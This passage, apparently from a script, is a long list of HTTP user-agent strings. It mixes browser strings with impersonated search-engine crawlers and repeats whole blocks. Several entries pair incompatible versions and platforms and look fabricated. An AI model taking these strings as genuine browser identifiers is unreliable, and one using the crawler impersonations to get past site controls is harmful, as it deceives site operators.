'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
